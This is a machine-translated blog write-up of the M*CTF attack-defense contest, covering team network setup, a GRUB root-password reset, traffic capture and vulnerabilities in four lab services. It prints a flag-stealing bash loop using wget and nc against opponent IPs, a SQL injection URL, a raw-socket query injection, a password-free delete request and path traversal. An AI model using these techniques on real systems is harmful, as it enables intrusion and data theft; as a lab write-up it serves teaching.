M * CTFを使用したスクラップブック

mctf







良い一日! この小さな作品では、参加者の目に、攻撃防御型のCTF競技がどのように開催されているか、特に過去のm * ctf競技を強調したいと思います。 しかし、このすべての前に、この(および他の多くの)イベントに参加する機会を与えてくれたイノポリス大学に感謝します。







カットの下で、過去の大会の組織的および技術的詳細の両方。 そしてもちろん、たくさんの写真があります!







CTF



ゲストチーム







CTF-コンピューターセキュリティのチーム競技で、2つのタイプに分けられます。







最初(別名危険またはタスクベース)は、多様な性質の独立したタスクのセットです。 原則として、暗号化、ステガノグラフィ、リバース、フォレンジック、管理パネルという主要なカテゴリが区別されます。 割り当てられた時間内に最もポイントを獲得する人は誰にとっても良いことです(最近のイベントの例は、 Bi.ZoneのCTFです







2番目のタイプ(別名攻撃防御)は、はるかに興味深い珍しいイベントです。 各チームには、いくつかのサービスを含む脆弱なイメージ(すべてのチームで同一)が与えられます。 これらの各サービスは、何らかの方法でフラグと呼ばれる文字列で機能します。 名前が示すように、参加者はサービスの脆弱性を介してドラッグする必要があります。 それに加えて、自分自身を保護してください。 同様の競争はM * CTFでした。







M * CTF



人







M * CTFはモスクワ大学の学生を対象にしたコンペティションで、MTUCIに基づいて今回は3回開催されています。 幸運な偶然の一致により、私はなんとかゲストチームに入り、競争を楽しむことができました。







講義日



最初の日は、早い上昇によって影が薄くなりました(ただし、2日目はそれほど違いはありませんでした)。 この日、チームの登録が行われ、最も重要なことには、パートナーからの講義(全員に公開されています)が読まれました。 そして、主催者は小さな競争で深刻な雰囲気を払拭しようとしました。 講義プログラムは次のようになりました。







講義







ptsecurityInfotecsGroup-IB 、および他の組織の講演者に感謝します。







競技日



ネットワーク



競技の開始前に、チームにN番のグリッド構成が与えられました(私は21だったので、それが使用されます)。









それから楽しみが始まりました-彼らは画像付きのフラッシュドライブを配布し始めました。 皮肉なことに、フラッシュドライブの約90%には破損したアーカイブが含まれていたため、少し後に画像がGoogleに投稿されました 。 CTFは、同様のインシデントが発生しない限り、CTFではありません。







フェイスパーム







私はほとんど一人でプレイしたので、タスクを委任する人はいなかったので、以下のすべてのアクションは異なるチームメンバーによって並行して実行する必要があります。 その後、あなたがすべての時間を持っているという非常に小さなチャンスがあります:)







最初のステップ





まず最初に行うことは、もちろんイメージを取得し、そこにあるものを確認することです。 しかし、悲しいかな、彼は非常に遅く私に着いたので、最初の準備はネットに関連していました。 これには魔法のような複雑なものは何もありませんが、「ここで、今、仕事をする」必要があるときに問題が発生します。







ip aa 10.60.21.135/24 dev eth0 ip ra default via 10.60.21.1 dev eth0
      
      





一般に、これがすべてです。主なことは、dhcpクライアントをオフにする(または独自に上げる)ことを忘れないようにして、設定がリセットされないようにすることです。 そして、もちろん、ns-serverを登録して人間がインターネットを閲覧する価値があります。







 echo -e "nameserver 8.8.8.8\nnameserver 8.8.4.4" >/etc/resolv.conf
      
      





どこから始めるか



しばらくして、 mctf.ovaの大事なイメージが届き仮想マシンで喜んでそれを開きました。 テストは64ビットのDebianであり、1 GBのRAMしか必要としませんでした。 防御の最初の側面は、GRUBで少し青い画面が表示されます。







グラブ







この場合のユーザーからのパスワードは指定されていませんでしたが、幸いなことに、通常のgrubがあるため、ブートローダーエントリを簡単に変更できます。 起動後、最初に/ bin / bash launchを追加することを忘れずに、ルートパスワードを変更して再起動します。







グラブバッシュ







さらに、ブリッジタイプのネットワークアダプターをインストールし、イメージ内にネットワークを構成することは理にかなっています。







一般に、あなたの人生を少し複雑にし、正直に正しい転送とフィルタリングでNATアダプターを作成し、さらに中間ゲートウェイでIDFを作成することもできますが、実際にはこれはほとんど必要ありません。







画像自体の内部では、グリッドは4つのコマンド用に構成されているため、調整する必要があります。







 ip af dev eth0 ip aa 10.60.21.2/24 dev eth0 ip ra default via 10.60.21.1 dev eth0
      
      





そして、ネットワークについてもう少し



最も興味深い部分に移る前に、脆弱性を発見する素晴らしい可能性に言及する価値があります。wiresharkまたはその他の既知のツールを使用したネットワークトラフィックの分析です。 おそらく理解しているように、あなたはあなたに向かうトラフィックを監視することができ、オーガナイザーやライバルからのリクエストを含む可能性が高いでしょう。







4シリーズのダンプ (〜3GB)には十分な容量がありましたが、残念ながら、そのうちの1つは予期しない再起動のために回復不能に失われました(パスワードが誤ってマージされないことを願っています:)。 個人的には、GUIを実行し、定期的にそこに立ち寄ることを好みますが、そのようなコマンドを使用して、たとえばメモリが残念な場合はうまくいくことができます。







 tshark -i eth0 -w traf1.pcap
      
      





おそらく、新しいファイルを作成するプロセスを自動化する価値はありますが、事前にこのことを考慮する必要がありました。 通常、ゲーム自体のプロセスはそれ次第ではありません。







別チーム







トラフィックの脆弱性を見つけることに加えて、オーガナイザーのパッケージを分析することもできます(ゲームの開始時には、原則として、主なトラフィックはそれらから来ます)。 ここでは、たとえば、主催者のUser-Agentを定義して、プレーヤーからの残りのパッケージをフィルタリングできます。 フラグの形式、およびどのポートとどのプロトコルで到着したかをすぐに判断できます。







画像を見る



そして最後に、最も興味深い! サービスは4つしかなく、ドッカーコンテナーでスピンします。 次のように、利用可能な画像と回転コンテナに関する情報を表示できます。







 docker ps && docker images
      
      





ドッカー







ここで、4つのサービスに気付くことができます。 ボイスメール (ポート2222、何らかの理由でリストに表示されません)、 drdre (ポート3333)、 mis (ポート8080)、 poke (ポート8090)。







サービスを分析するには、Dockerコンテナーに移動し、そこから必要なファイルを見つけてダウンロードする必要があります。







 docker exec -it mctf-<service> /bin/bash
      
      





サービスを確認する前の短いメモ:競技後のタスクの分析はありませんでした。サービスの詳細な説明は、この8時間でなんとか掘り下げたものであり、試合後に他のチームとコミュニケーションをとる過程で学べたことです。 これは、各サービスに(および多くの!)悪用可能な脆弱性が存在する可能性が高いことを意味します。そのため、追加に非常に感謝しています。







ボイスメール


ボイスメール







最初のサービスは、 freeswitchライブラリに基づいてSIPを使用してボイスメッセージを送信するために使用され、すべての低レベルのことがそこで行われます。 ライブラリは非常に新しくインストールされ、オープンアクセスでの既製のエクスプロイトはなかったため、その研究は時間の無駄に思えました。







Web要求は、単純なFlaskサーバーである単一のvoicemail.pyファイルによって処理されます。 したがって、すべてのサービスは同じであるため、 app.config ['DEBUG'] = Trueパラメーターはすべてに設定され、秘密鍵は同じです。







また、すでに言及したライブラリが/var/www/voicemail/static/freeswitch.logを作成することも興味深いです。これはvoicemail.pyで個別に処理されません。 なぜこれが重要なのですか? 他のチームのトラフィックダンプとサービスリクエストを見つけることができませんでしたが、フラグをこのログに含める必要があります(他の参加者による)。







ドレ


ドレドル







2番目のサービスは巨大です(有用なファイルはそれほど多くありませんが) Tomcatサーバー。 ウイルス対策会社のサイトとして機能します。 Dr. Dreアンチウイルスをダウンロードするか、virustotalなどのマルウェアを確認できます。 ほとんどの場合、このファイルを送信した後、ウイルス対策ソフトウェアによって起動され、不運なRCEが発生する可能性があります。







実際、これはこれらのサービスの1つであり、トラフィックで発見した脆弱性です。 リクエストはhttp ://10.60.21.2ogi333/stat?debug = trueに行きました。二度と考えずに、そこに行って(または、フラグがないように見えます)疑わしくフラグを連想させます。 フラグを渡すための小さなスクリプトは次のようになります。







 #!/bin/bash for i in $(seq 1 20); do wget -q "http://10.60.$i.2:3333/stat?debug=true" -O file --timeout=2 for i in $(egrep -o "[a-zA-Z0-9]{40}=" file); do echo $i | nc 10.10.40.2 8080 | grep -i "input flag" sleep 1 done done
      
      





MIS(別名Private Messanger)


ミス







3番目のサービスは、ベアソケットを介したデータベースとの低レベル通信を備えたphpサーバーです。 100x100px画像を使用してテキストを暗号化できます。 キーは、Rチャネルの下位ビットから取得され、合計で最大10,000ビットになります。 暗号文は、排他的またはフラグ、ソルト、および事前に知られているキーを使用して発行されます。 キーの例を調べてみましたが、残念ながら、偶然に生成されたように見えました。 未確認で反論されていない推測が1つありましたが、すべてのコマンドで同じようにキーを使用できる可能性があります。 次に、ソルトとキーの知識があれば、フラグを取得できます。







最初の攻撃はDoSタイプで、非常に簡単に実行されました。 メッセージ(フラグ)の削除を要求するとき、パスワードの存在のみがチェックされ、その正確性はチェックされませんでした。 合計で、 GET /delete.php?id=<id>&pass=0&ask=Yの形式のリクエストは、相手のフラグを削除し、それによって彼が貴重なポイントを失う可能性があります。







2番目の攻撃は、ベアソケットを介してmysqlクエリを挿入することでした。 サービスのリクエストは次のとおりでした: P \ t999 \ tservice1 \ ttext \ tPRIMARY \ tid、pass、text \ n999 \ t = \ t1 \ t $ _GET [id] \ nこれにより、文字列を取得して、 db







突く


突く







後者のサービスもphpで実装されています。 ユーザーにポケモンを選択し、戦闘を求めてマップをローミングするよう促します。 一定数の勝利の後、フラグが送信されます。 このサービスは明らかに最も漏れやすいものでした。 実際、対戦相手に出会うことなく戦いを行うことができます。相手のニックネームを知っている必要があります。 脆弱性の1つは、可能な限り些細なsqliです。







たとえば、リクエスト: /battle.php?to=qzqzqqz'%20union%20select%20username%20from

%20users%20limit%2012345.1%20-%201は、番号12345のユーザー名を表示します。次に、リクエスト "/ class / database / users / <nick> /flag.jpg"に必要なフラグを取得します。 クエリ "/class/database/users.db"はsqliteデータベース全体を発行し、そこからユーザーのリストに加えて、パスワードハッシュやその他の多くの興味深いものも取得できます。 しかし、突然プレイしたいだけで、誰ともプレイしたくない場合は、 / battle.php? to = .. / users /にアクセスしてください。







そして結末についてのいくつかの言葉



カップ







競技終了の1時間前に(意図的に)ポイントのあるテーブルへのアクセスが閉鎖されたため、陰謀が残り、誰が勝ちますか。 そもそもHSEのチームが最初に2位になったのを見るのは非常に予想外でした。 そして、ハッカーモードでの最後のスコアボード、コンソールへ(そしてサーバーがクラッシュしたためではない):







スコアボード







コンテスト自体と写真をサポートしてくれたctfnewsコミュニティに感謝します。 ちなみに、残りはVKアルバムで見つけることができます








All Articles